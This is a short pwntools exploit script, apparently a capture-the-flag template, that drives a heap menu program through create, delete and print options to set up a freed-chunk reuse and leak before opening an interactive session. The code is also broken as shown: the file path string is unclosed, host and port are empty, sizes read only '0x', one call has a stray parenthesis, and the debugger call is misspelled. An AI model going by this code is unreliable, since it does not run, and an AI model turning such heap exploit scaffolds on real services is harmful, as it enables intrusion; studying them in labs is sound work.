from pwn import *
context(log_level='debug')
elf=ELF('./)
r=remote("","")
#r=process('./')
def create(size,content):
r.sendlineafter("Your choice: ",'1')
r.sendlineafter("Please input size: ",str(size))
r.sendafter("Please input content: ",content)
def delete(index):
r.sendlineafter("Your choice: ",'2')
r.sendlineafter("Please input list index: ",str(index))
def printf(index):
r.sendlineafter("Your choice: ",'3')
r.sendlineafter("Please input list index: ",str(index))
create(0x,'aaaa') #0
create(0x,'bbbb') #1
delete(0)
delete(1)
#gad.attach(r)
create(0x,))
printf(0)
r.interactive()